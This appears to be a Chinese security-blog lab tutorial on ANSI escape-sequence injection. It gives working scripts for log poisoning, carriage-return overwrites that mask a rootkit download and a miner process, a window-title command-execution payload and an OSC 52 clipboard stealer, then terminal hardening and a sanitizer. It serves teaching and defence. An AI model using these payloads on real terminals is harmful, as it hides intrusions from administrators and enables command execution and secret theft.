「幻核-2」你的终端在"叛变" ANSI 转义序列注入攻击
1978 年,DEC 发布了 VT100 终端。为了让这台"哑终端"能显示彩色文字、移动光标、清屏,他们设计了一套控制序列——以 ESC(0x1B)开头的字节序列。这就是 ANSI 转义序列的源头。近半个世纪后,现代终端模拟器依然忠实地解析这些序列。
引子:一条看不见的绳索
1978 年,DEC 发布了 VT100 终端。为了让这台"哑终端"能显示彩色文字、移动光标、清屏,他们设计了一套控制序列——以 ESC(0x1B)开头的字节序列。这就是 ANSI 转义序列的源头。近半个世纪后,现代终端模拟器依然忠实地解析这些序列。
ANSI 转义序列:终端的"神经系统"
在攻击之前,先搞清楚弹药长什么样。
终端模拟器是一个状态机。它逐字节读取输入流,遇到普通字符就渲染,遇到 0x1B(ESC)就进入转义序列解析模式。根据 ESC 后面跟的字符不同,序列被分为几大类:
类型 | 格式 | 功能示例 | HEX 字节 |
CSI |
|
|
/ |
OSC |
|
|
|
DCS |
|
|
|
SGR |
|
|
/ |
单字符 |
|
|
|
控制字符 | 单字节 |
|
|
终端模拟器信任一切经过 PTY(伪终端)的数据。它不区分"这是 ls 命令的输出"和"这是攻击者注入的控制序列"。这种数据/控制平面的混合,正是 Web 安全中"混合信道"问题的终端版本。

谁在喂你的终端吃"毒药"?
攻击者不需要直接控制你的终端,只需要在数据流的任意上游注入字节。
01 / HTTP 日志注入
攻击者发送 GET /\x1b[2J HTTP/1.1,Apache/Nginx 将原始字节写入 access.log。管理员 cat 日志时,终端执行清屏。
02 / SSH 用户名注入
以 \x1b]2;evil\a 作为用户名尝试 SSH 登录。syslog 记录该用户名,管理员查看 auth.log 时触发标题篡改。
03 / 恶意文件名
创建名为 $'\e[31mVIRUS\e[0m' 的文件。任何 ls 该目录的用户都会看到红色的 VIRUS 文字——或更糟的效果。
04 / Kubernetes 终止日志
Pod 向 /dev/termination-log 写入转义序列。运维执行 kubectl describe pod 时,终端被劫持。
05 / Python HTTP Server
python3 -m http.server 会将请求路径原样打印到终端。访问 /?%1b[2J 即可注入。
06 / curl / wget 输出
恶意服务器在 HTTP 响应体中嵌入转义序列。curl http://evil.com 的输出直接送入终端渲染。
实验环境

![]()
![]()
![]()
安装 xterm(经典 X11 终端,漏洞最多的老前辈)
sudo apt update && sudo apt install -y xterm创建实验工作目录
mkdir -p ~/ansi-lab && cd ~/ansi-lab验证终端对转义序列的基本解析能力
printf '\e[31mRED\e[0m \e[32mGREEN\e[0m \e[34mBLUE\e[0m\n'
日志投毒:让管理员看到"一切正常"
攻击者在日志中注入清屏序列,管理员看到的输出完全被伪造。
原理
当终端遇到 \e[2J(清屏)和 \e[H(光标归位)时,之前所有显示内容都会消失。攻击者只需要在日志文件的关键位置注入这两个序列,然后在后面接上伪造的"正常"内容。管理员执行 cat 查看日志时,终端先渲染真实日志,然后执行清屏,最后显示伪造内容——真实的告警信息被彻底吞噬。
log_poison.sh
#!/bin/bash
LOG_FILE="/tmp/demo_app.log"
# ------------------------------------------------------------------------------
# 阶段一:写入真实日志(包含敏感的攻击痕迹)
# ------------------------------------------------------------------------------
echo "[2026-05-17 10:03:01] INFO: Application started on port 8080" > "$LOG_FILE"
echo "[2026-05-17 10:03:02] INFO: Database connection established" >> "$LOG_FILE"
echo "[2026-05-17 10:15:33] WARN: Failed login attempt from 10.0.0.99" >> "$LOG_FILE"
echo "[2026-05-17 10:15:34] CRITICAL: Reverse shell established to 10.0.0.99:4444" >> "$LOG_FILE"
echo "[2026-05-17 10:15:35] CRITICAL: /etc/shadow exfiltrated" >> "$LOG_FILE"
# ------------------------------------------------------------------------------
# 阶段二:注入 ANSI 控制序列(劫持终端 TTY 渲染)
# ------------------------------------------------------------------------------
# \e[2J -> 强制清除当前终端屏幕上的所有内容
# \e[H -> 将终端光标强制移回左上角 (0,0) 位置
printf '\e[2J\e[H' >> "$LOG_FILE"
# ------------------------------------------------------------------------------
# 阶段三:写入伪造日志(视觉欺骗,制造“岁月静好”的假象)
# ------------------------------------------------------------------------------
echo "[2026-05-17 10:03:01] INFO: Application started on port 8080" >> "$LOG_FILE"
echo "[2026-05-17 10:03:02] INFO: Database connection established" >> "$LOG_FILE"
echo "[2026-05-17 10:15:33] INFO: Health check passed" >> "$LOG_FILE"
echo "[2026-05-17 11:00:00] INFO: Scheduled backup completed" >> "$LOG_FILE"
echo "[2026-05-17 12:30:00] INFO: 0 errors in last 24 hours" >> "$LOG_FILE"
# ------------------------------------------------------------------------------
# 阶段四:提示信息
# ------------------------------------------------------------------------------
echo "[*] Poisoned log successfully written to: $LOG_FILE"
echo "[*] Run 'cat $LOG_FILE' in your terminal to see the injection effect."赋权运行

效果验证
管理员视角
cat /tmp/demo_app.log
用 hexdump 揭开真相
hexdump -C /tmp/demo_app.log | grep -A1 "1b 5b"
cat -v /tmp/demo_app.log | head -8
^[[2J^[[H 就是被转义的清屏序列
它直接作用于应急响应的第一步——日志审查。当安全团队在排查入侵事件时,如果攻击者已经投毒了日志,整个取证过程的起点就是被污染的。更隐蔽的手法是不清屏,而是用 \e[8m(隐藏文字属性)让关键告警"消失",管理员即使上下翻滚也看不到。
回车覆写:在同一行里藏两个世界
利用 \r(回车)把光标拉回行首,用新文字覆盖旧文字。比清屏更隐蔽。
原理
\r(0x0D)不是转义序列,它是最普通的 ASCII 控制字符——回车。终端遇到它后,光标移动到当前行的第 0 列,但不换行。后续字符会覆盖已有内容。配合 \e[2K(擦除整行),可以做到完美替换。这个技巧有多可怕?它能绕过 less -R,因为 \r 不是转义序列,-R 的过滤规则根本不管它。
伪造下载源
cr_overwrite.sh
#!/bin/bash
echo "=== 场景 1:动态下载地址篡改 (URL Masking) ==="
# 1. 终端先输出恶意链接
# 2. \r 让光标回到行首,\e[2K 瞬间擦除该行
# 3. 立即打印正常链接,使肉眼只能看到合法地址
printf 'Downloading http://evil.com/rootkit.sh\r\e[2KDownloading http://archive.ubuntu.com/release.tar.gz\n'
echo ""
echo "=== 场景 2:伪造哈希校验结果 (Checksum Spoofing) ==="
# 在自动化安装脚本中,即使 SHA256 校验失败,也利用转义序列在 1 毫秒内将其抹除
# 并在同一行强行刷新为 "OK",从而欺骗运维人员
printf 'sha256: MISMATCH - file is corrupted!\r\e[2Ksha256: OK - verified successfully\n'
echo ""
echo "=== 场景 3:进程监控视觉隐藏 (Process Hiding) ==="
# 模拟恶意脚本劫持 ps 或 top 的输出,在终端渲染时将挖矿进程(xmrig)
# 伪装成无害的系统内核线程(kworker)
echo " PID TTY TIME CMD"
echo " 1234 pts/0 00:00:00 bash"
printf ' 5678 pts/0 03:14:15 xmrig --coin=XMR\r\e[2K 5678 pts/0 00:00:01 [kworker/0:1]\n'
echo " 9012 pts/0 00:00:00 ps"
实际执行的是:

进HTTP 日志中的回车覆写
这种技巧在 Web 服务器日志中尤为危险。攻击者通过特制的 HTTP 请求,在 access.log 中植入覆写序列:
构造恶意 HTTP 请求
curl -s "http://target.local/login%0d%1b[2K192.168.1.1 - - [18/May/2026:12:00:00] \"GET /index.html HTTP/1.1\" 200"回车覆写是最容易被忽略的攻击手法,因为
\r不在任何"转义序列过滤器"的拦截名单上。
窗口标题回传 RCE:从数据注入到代码执行
这是 ANSI 注入中真正的"皇冠上的宝石"——通过设置窗口标题并查询它,实现远程命令执行。
攻击链
这个攻击之所以能实现 RCE,依赖于一个关键特性:某些终端支持窗口标题查询(\e[21t)。当终端收到这个序列时,它会将当前窗口标题作为键盘输入注入到输入缓冲区。攻击分两步:

生成投毒日志文件 title_rce.py
#!/usr/bin/env python3
import sys, os
ESC = "\x1b"
BEL = "\x07"
SET_TITLE = f"{ESC}]2;"
QUERY_TITLE = f"{ESC}[21t"
HIDE_TEXT = f"{ESC}[8m"
RESET = f"{ESC}[0m"
def generate_payload(command):
payload = HIDE_TEXT
# 前导使用 ; 清理掉可能变成 l 的前缀杂质
# 末尾使用 ; 后跟命令,并用 # 将终端自身追加的任何杂质(如 ?) 变成注释
aligned_command = f"; {command} ; #"
payload += f"{SET_TITLE}{aligned_command}{BEL}"
payload += QUERY_TITLE
payload += RESET
return payload.encode()
log_path = "/tmp/poisoned.log"
command = "id > /tmp/title_rce_proof"
with open(log_path, "w") as f:
f.write("[INFO] Service started successfully\n")
f.buffer.write(generate_payload(command))
f.write("\n[INFO] TLS handshake completed\n")
print(f"[*] Payload written to {log_path}")在 xterm 中验证
建立实验沙箱环境 (显式开启 allowWindowOps 特性,模拟因配置不当或旧版终端未打补丁的脆弱环境。)
xterm -xrm 'XTerm*allowWindowOps: true' &
在独立终端中编译 Payload
进入新打开的 xterm 环境,执行 Python 脚本对底层介质实施数据植入。
python3 ~/ansi-lab/title_rce.py
查看 Payload 二进制结构
hexdump -C /tmp/poisoned.log
物理起始地址 | 核心原始字节(Hex) | 对应的控制序列 / 文本 | 实验底层解析机制与行为 |
|
|
| 视觉消声屏障:强行开启终端“隐藏文本”模式。此后进入终端的所有攻击载荷在屏幕上均不作物理渲染,完美瞒过管理员肉眼。 |
|
|
| 控制流接管点:发起外壳窗口操作指令,通知终端将后续文本改写为当前窗口标题(Window Title)。 |
|
|
| 前导截断符:关键的对齐修正。当 TTY 逆向吐回数据时,该分号会与现代终端自带的 杂质强行融合成无害的 别名命令,阻止系统因找不到 命令而报错。 |
|
|
| 恶意核心载荷:静态存储于磁盘日志介质中,在 |
|
|
| 后缀注释闭环:在真正的 符号)全部降级为死代码注释,保障 Bash 语法树不发生崩溃。 |
|
|
| OSC 终止符:宣告窗口标题改写命令物理结束。 |
|
|
| RCE 物理触发泵:全场最核心的取证标识。 发起底层标题查询请求,逼迫终端将刚才保存在标题栏中、精心对齐的干净载荷逆向灌入当前的键盘输入缓冲区( |
|
|
| 终端显示重置:及时解除第一步的隐藏状态,允许后续的常规业务日志正常打印。 |
触发漏洞(cat 投毒日志)
cat /tmp/poisoned.log
这行字表明,当管理员执行 cat /tmp/poisoned.log 时,底层的流对抗发生了以下几件事:
- 杂质成功拆分(语法树切断): 前缀杂质
^[]和字母l被组合成了命令l。在 Linux 系统的 Kali 环境下,l是一个系统默认内置的合法别名(通常是ls -CF或ls -g的 Alias)。 - 命令顺利越界执行: 因为使用了分号
;,系统在执行完前面的l(在终端中输出了底下的cr_overwrite.sh* log_poison.sh* title_rce.py目录文件列表)之后,毫无阻碍地顺着分号继续执行了真正的黑客命令:
id > /tmp/title_rce_proof
验证 RCE 是否成功
cat /tmp/title_rce_proof![]()
成功实现 RCE。
DECRQSS 回显注入:终端的"回声洞"
比标题注入更强大——某些终端会原封不动地将你发送的数据回显到输入流。
什么是 DECRQSS?
DECRQSS(Device Control Request Status String)的设计初衷是让应用程序查询终端的当前设置——比如"当前的字体渲染属性是什么?"请求格式为 \eP$q参数\e\\,终端应当返回类似 \eP1$r0m\e\\ 的响应。
问题在于:部分终端在构造响应时,将请求中的内容原样嵌入了响应中。如果攻击者在请求的"参数"部分塞入换行符和 Shell 命令,终端会把这些内容注入到输入缓冲区,Shell 就会执行它们。
这个最终没有试验成功,但早有先例,可以参考以下案例:
CVE-2022-45063
2022 年,安全研究员发现 xterm 的 OSC 50(字体查询)响应中包含 BEL 字符(0x07)。在 Zsh 的 vi-mode 下,Ctrl+G(即 BEL)绑定到 list-expand 函数——该函数会展开并执行 $(command) 替换。攻击链变成:

OSC 52 剪贴板窃取:读取你 Ctrl+C 的秘密
终端不仅能设置剪贴板,某些配置下还能读取它。
OSC 52 协议
OSC 52 允许应用程序通过转义序列操作系统剪贴板。写入操作被广泛支持(远程 SSH 会话中复制文本就靠它),但读取操作就是安全噩梦了:
操作 | 序列 | 说明 |
设置剪贴板 | \e]52;c;base64_data\a | 将 base64 编码的内容写入剪贴板。大多数终端支持。 |
读取剪贴板 | \e]52;c;?\a | 请求终端返回剪贴板内容(base64 编码)。默认启用的终端较少。 |
窃取剪贴板内容
clipboard_steal.py
#!/usr/bin/env python3
import sys
import os
import select
import tty
import termios
import base64
def steal_clipboard() -> bytes:
"""
切换终端到 Raw 模式,发送 OSC 52 剪贴板查询请求并捕获 TTY 反弹数据
"""
fd = sys.stdin.fileno()
# 【核心预置】:备份当前 TTY 终端配置,以便后续平滑恢复
old_settings = termios.tcgetattr(fd)
try:
# 切换当前输入流到原始(Raw)模式,阻断 Shell 的前置解析,允许捕获裸控制字节
tty.setraw(fd)
# 向标准输出流打印 OSC 52 查询字符:问号 "?" 代表向本地客户端发起 Read 申请
os.write(sys.stdout.fileno(), b"\x1b]52;c;?\x07")
# 开启异步流读取,设置 2 秒硬超时边界
response = b""
found_start = False
while select.select([fd], [], [], 2.0)[0]:
char = os.read(fd, 1)
response += char
# 检测到终端流中包含 OSC 52 响应头部
if b"]52;" in response:
found_start = True
# 闭环状态机边界:捕获到法定的 OSC 终止符 (BEL 或 ST) 则跳出
if found_start and char == b"\x07":
break
if found_start and response.endswith(b"\x1b\\"):
break
finally:
# 【反控制释放】:无论捕获结果如何,必须强行恢复 TTY 配置,否则当前终端界面会卡死或乱码
termios.tcsetattr(fd, termios.TCSADRAIN, old_settings)
return response
def parse_response(response: bytes) -> str:
"""
解析终端吐回的标准 OSC 52 响应,剥离状态控制符并解码 Base64 数据流
标准响应格式:\x1b]52;c;<Base64_Content>\x07
"""
try:
# 准确定位第二个分号之后的数据起始点
start = response.find(b";", response.find(b";") + 1) + 1
# 定位尾部终止符
end = response.find(b"\x07")
if end == -1:
end = response.find(b"\x1b", start)
b64_data = response[start:end]
# 将流还原为纯文本
return base64.b64decode(b64_data).decode("utf-8", errors="replace")
except Exception as e:
return f"[数据解析异常: {e}]"
if __name__ == "__main__":
print("[*] 正在通过标准输出发送 OSC 52 剪贴板查询序列...", file=sys.stderr)
resp = steal_clipboard()
if resp:
content = parse_response(resp)
print(f"\n[+] 成功拦截到宿主机剪贴板内容: {content}", file=sys.stderr)
else:
print("\n[-] 终端无任何响应。拦截失败:当前 TTY 已禁用 OSC 52 读取权限。", file=sys.stderr) 启动显式允许剪贴板读取的 xterm 沙箱
xterm -xrm 'XTerm*disallowedWindowOps: none' &在宿主机(本地系统)的剪贴板中写入测试数据
![]()
在 xterm 窗口中触发 PoC

如何让终端不再叛变
绝对禁止直接用裸 cat 查看可疑文件,会触发终端恶意转义序列!
# 1. 控制字符可视化(最常用)
cat -v suspicious.log
# 2. less 默认安全模式(推荐)
less suspicious.log
# 3. 十六进制取证分析(彻底排查)
hexdump -C suspicious.log | less
# 4. 过滤所有ESC转义字节
sed 's/\x1b//g' suspicious.log | less
# 5. less 609+ 版本专用:-U 显示原始控制字符
less -U suspicious.log永久禁用终端危险操作,阻断转义序列攻击。
1. xterm 终端加固
配置文件:~/.Xresources
# 禁用所有窗口操作
XTerm*allowWindowOps: false
XTerm*disallowedWindowOps: 20,21,SetXprop2. tmux 终端加固
配置文件:~/.tmux.conf
# 禁用转义序列透传
set -g allow-passthrough off3. 管道数据清洗
#!/usr/bin/env python3
"""
终端转义序列清洗工具
用法:cat dirty.log | python3 sanitize.py > clean.log
"""
import re
import sys
# 匹配所有 ANSI/VT 转义序列正则
ANSI_ESCAPE_RE = re.compile(
r"""
\x1b # ESC 字符(0x1B)
(?:
\[ # CSI: ESC [
[0-9;]* # 参数字节
[A-Za-z] # 最终字节
|
\] # OSC: ESC ]
[^\x07]* # 数据(直到 BEL)
\x07 # BEL 终止符
|
\] # OSC: ESC ] (ST 终止)
.*? # 数据
\x1b\\ # ST 终止符(ESC \)
|
P # DCS: ESC P
[^\x1b]* # 数据
\x1b\\ # ST 终止符
|
[()][0-9A-B] # 字符集切换
|
[#][0-9] # DEC 行属性
|
. # 两字符转义(如 \ec)
)
""", re.VERBOSE
)
# 匹配危险单字节控制字符(保留 \n 和 \t)
CONTROL_CHAR_RE = re.compile(r"[\x00-\x08\x0b\x0c\x0e-\x1a\x1c-\x1f\x7f\r]")
def sanitize(text: str) -> str:
"""移除所有 ANSI 转义序列和危险控制字符"""
text = ANSI_ESCAPE_RE.sub("", text)
text = CONTROL_CHAR_RE.sub("", text)
return text
if __name__ == "__main__":
# 管道模式使用
for line in sys.stdin:
sys.stdout.write(sanitize(line))信任的代价
终端模拟器之所以容易被攻击,根本原因在于一个 1978 年做出的设计决策:数据和控制指令共享同一个字节流。这个决策在"哑终端连接大型机"的年代是合理的——当时不存在"不可信输入"的概念,因为只有操作员和被信任的程序才能向终端输出内容。
近半个世纪过去了,终端面对的输入来源变成了 Web 服务器日志、Git 仓库、容器输出、SSH 隧道、CI/CD 管道——但终端仍然以同样的信任级别处理每一个字节。这种"先天性信任"正是攻击面持续存在的根源。
下次你打开终端准备 cat 一个日志文件时,停一秒,想想:这个文件是谁写的?它里面的每一个字节,你的终端都会盲目执行。
也许是时候给你的 .bashrc 加上这一行了:
alias cat='cat -v'
本文所有实验均在隔离虚拟机环境中完成,仅供安全研究与教育目的